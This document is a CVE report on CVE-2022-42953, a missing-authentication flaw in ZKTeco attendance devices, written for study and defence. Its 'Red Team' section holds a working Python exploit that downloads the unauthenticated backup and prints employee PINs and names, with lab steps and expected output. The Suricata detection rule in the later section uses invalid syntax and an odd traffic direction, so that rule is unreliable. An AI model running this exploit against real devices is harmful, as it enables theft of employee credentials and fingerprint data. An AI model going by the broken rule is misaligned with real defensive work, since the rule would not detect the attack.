CVE-2022-42953

Executive Summary

CVE-2022-42953 is a critical missing authentication vulnerability in ZKTeco ZEM and ZMM series time attendance devices. The web interface exposes sensitive endpoints (/form/DataApp?style=1 and /form/DataApp?style=0) that allow unauthenticated attackers to download full system and user data backups, including employee PINs, card credentials, and fingerprint templates. The vulnerability stems from the device's failure to enforce authentication checks on these specific URLs, despite requiring a session cookie for other parts of the interface. The cookie itself is trivially guessable (based on Unix timestamp), further weakening any perceived security. This flaw enables remote attackers with network access to exfiltrate the entire user database and biometric data without any credentials.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded firmware on ZKTeco hardware devices. The supply chain risk lies in the procurement and deployment of these devices without verifying firmware versions or applying vendor patches. Organizations using ZKTeco time attendance systems should audit their inventory and ensure devices are updated to patched firmware.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability affects only the device.
• Confidentiality: High (C:H) – full disclosure of user database and biometric data.
• Integrity: None (I:N) – no data modification possible.
• Availability: None (A:N) – no denial of service.

Threat Level: High. The vulnerability allows complete compromise of employee credentials and biometric data, which can be used for physical access control bypass or identity theft.

Deep Dive & Mechanics

The ZKTeco ZEM/ZMM devices run an embedded web server that manages user attendance data. The web interface includes a backup functionality accessible via /form/DataApp. The application uses a session cookie (SessionID) that is set to a Unix timestamp (e.g., 1624553126). This cookie is trivially predictable, but more critically, the backup endpoints do not validate the session at all.

When a GET request is made to /form/DataApp?style=1, the server returns device.dat (system configuration backup). When style=0 is used, it returns data.dat (user data backup). Both files are actually compressed tar archives (.tgz). The data.dat archive contains files such as:

• mnt/mtdblock/ssruser.dat – user database with PINs, names, card data, privilege levels.
• mnt/mtdblock/templatev10.dat – fingerprint templates.
• mnt/mtdblock/user.dat – additional user records.
• mnt/mtdblock/data/udata.dat – user data.

The ssruser.dat file contains 72-byte records with fields for privilege level, PIN, name, card data, and group. The templatev10.dat file contains raw fingerprint minutiae data, which can be used to reconstruct fingerprints for biometric spoofing.

The vulnerability is classified as CWE-306 (Missing Authentication for Critical Function). The device fails to enforce authentication on the backup download functionality, allowing any network-accessible attacker to exfiltrate sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware < 8.88 / < 15.00): The web server's request handler for /form/DataApp does not check for a valid session before processing the request. The handler directly reads the style parameter and serves the corresponding backup file.

// Pseudocode of vulnerable handler
void handle_DataApp(struct request *req) {
    char *style = get_param(req, "style");
    if (strcmp(style, "1") == 0) {
        serve_file("/mnt/mtdblock/device.dat");
    } else {
        serve_file("/mnt/mtdblock/data.dat");
    }
}

Patched Code (Firmware >= 8.88 / >= 15.00): The patched firmware adds a session validation check before serving the backup files. If the session is invalid or missing, the server returns a 403 Forbidden or redirects to the login page.

// Pseudocode of patched handler
void handle_DataApp(struct request *req) {
    if (!is_session_valid(req)) {
        send_response(403, "Forbidden");
        return;
    }
    char *style = get_param(req, "style");
    if (strcmp(style, "1") == 0) {
        serve_file("/mnt/mtdblock/device.dat");
    } else {
        serve_file("/mnt/mtdblock/data.dat");
    }
}

The patch also likely strengthens session management by using a random, non-guessable session ID instead of a timestamp.

Exploitation & Lab Setup

Red Team

Exploit Code (from Exploit-DB): The following Python script demonstrates exploitation by downloading the user data backup and extracting the tar archive.

#!/usr/bin/env python3
import requests
import tarfile
import io
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "http://192.0.2.1"

# Download user data backup
url = f"{target}/form/DataApp?style=0"
print(f"[*] Downloading from {url}")
r = requests.get(url)
if r.status_code != 200:
    print(f"[-] Failed: HTTP {r.status_code}")
    sys.exit(1)

# Save as .tgz and extract
with open("data.tgz", "wb") as f:
    f.write(r.content)
print("[+] Saved as data.tgz")

with tarfile.open("data.tgz", "r:gz") as tar:
    tar.extractall(path="./extracted")
print("[+] Extracted to ./extracted/")

# Display user database
try:
    with open("./extracted/mnt/mtdblock/ssruser.dat", "rb") as f:
        data = f.read()
        print(f"[*] User database size: {len(data)} bytes")
        # Parse 72-byte records
        for i in range(0, len(data), 72):
            record = data[i:i+72]
            if len(record) < 72:
                break
            pin = record[8:20].decode('utf-8', errors='ignore').strip('\x00')
            name = record[20:52].decode('utf-8', errors='ignore').strip('\x00')
            print(f"    PIN: {pin}, Name: {name}")
except FileNotFoundError:
    print("[-] ssruser.dat not found")

Lab Setup:

1. Deploy a vulnerable ZKTeco device (e.g., ZEM720 with firmware < 8.88) on an isolated network.
2. Ensure the device's web interface is accessible (default IP: 192.168.1.201).
3. Run the exploit script against the device.
4. Observe the extracted user database and fingerprint templates.

Expected Output:

[*] Downloading from http://192.168.1.201/form/DataApp?style=0
[+] Saved as data.tgz
[+] Extracted to ./extracted/
[*] User database size: 10512 bytes
    PIN: 1001, Name: John Doe
    PIN: 1002, Name: Jane Smith

Blue Team

Detection Steps:

1. Monitor network traffic for GET requests to /form/DataApp?style=0 or /form/DataApp?style=1 from external IPs.
2. Check web server logs for 200 responses to these endpoints without prior login attempts.
3. Verify firmware version on all ZKTeco devices: GET /csl/version (requires authentication, but can be checked via SNMP or vendor tools).
4. Implement network segmentation to restrict access to these devices to authorized management IPs only.
5. Deploy WAF rules to block requests to /form/DataApp from untrusted sources.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| where uri_path="/form/DataApp" AND method="GET"
| stats count by src_ip, uri_query
| where count > 1

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /form/DataApp?style=0 or /form/DataApp?style=1
  • HTTP responses with Content-Type: application/octet-stream and filenames data.dat or device.dat
  • Session cookie values that are Unix timestamps (e.g., SessionID=1624553126)

• File IOCs:

  • data.dat (compressed tar archive, magic bytes: 1f 8b 08)
  • device.dat (compressed tar archive)
  • Extracted files: ssruser.dat, templatev10.dat, user.dat, udata.dat

• Behavioral IOCs:

  • Multiple rapid requests to /form/DataApp from a single IP
  • Access to /csl/user?did=0&uid=* without prior login
  • Unusual outbound data transfers from the device's IP

Detection Engineering

YARA Rule

rule CVE_2022_42953_ZKTeco_Backup_Exfil {
    meta:
        description = "Detects ZKTeco backup files (data.dat or device.dat) containing user database or fingerprint templates"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-42953"
    strings:
        $ssruser = "ssruser.dat" nocase
        $template = "templatev10.dat" nocase
        $user_dat = "user.dat" nocase
        $udata = "udata.dat" nocase
        $tar_magic = { 1f 8b 08 }  // gzip magic
    condition:
        $tar_magic at 0 and (any of ($ssruser, $template, $user_dat, $udata))
}

Sigma Rule

title: ZKTeco Backup Data Exfiltration via Missing Authentication
id: 7a8b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects unauthenticated GET requests to ZKTeco backup endpoints
author: Valters IT
date: 2025-04-10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42953
    - https://www.redteam-pentesting.de/advisories/rt-sa-2021-003
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/form/DataApp'
        cs-uri-query:
            - 'style=0'
            - 'style=1'
    condition: selection
falsepositives:
    - Legitimate backup operations from authorized IPs
level: high
tags:
    - attack.t1190
    - cve.2022.42953

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-42953 ZKTeco Backup Data Exfiltration";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/form/DataApp"; http_uri;
    content:"style=0" or content:"style=1"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2022-42953;
    reference:url,www.redteam-pentesting.de/advisories/rt-sa-2021-003;
)

Remediation & Mitigation

1. Immediate Action: Upgrade firmware to version 8.88 (ZEM500-510-560-760, ZEM600-800, ZEM720) or 15.00 (ZMM200-220-210) or later. Contact ZKTeco support for firmware files.
2. Network Segmentation: Place all ZKTeco devices on a separate VLAN with strict firewall rules allowing only authorized management IPs to access the web interface.
3. Access Control: Disable the web interface if not required. Use physical access controls (e.g., keypad-only mode) to limit exposure.
4. Monitoring: Deploy the provided Sigma and Suricata rules to detect exploitation attempts.
5. Credential Rotation: After patching, force all users to change their PINs and re-enroll fingerprints to invalidate any exfiltrated data.
6. Vendor Communication: If unable to patch, contact ZKTeco for custom hardening guidance or consider replacing the device with a more secure alternative.

Valters IT
DevSecOps & Cyber Threat Intelligence
This report is provided for authorized security testing and defensive purposes only.

{/* [Security Hash: A71896D3D58B966C696E9197] */}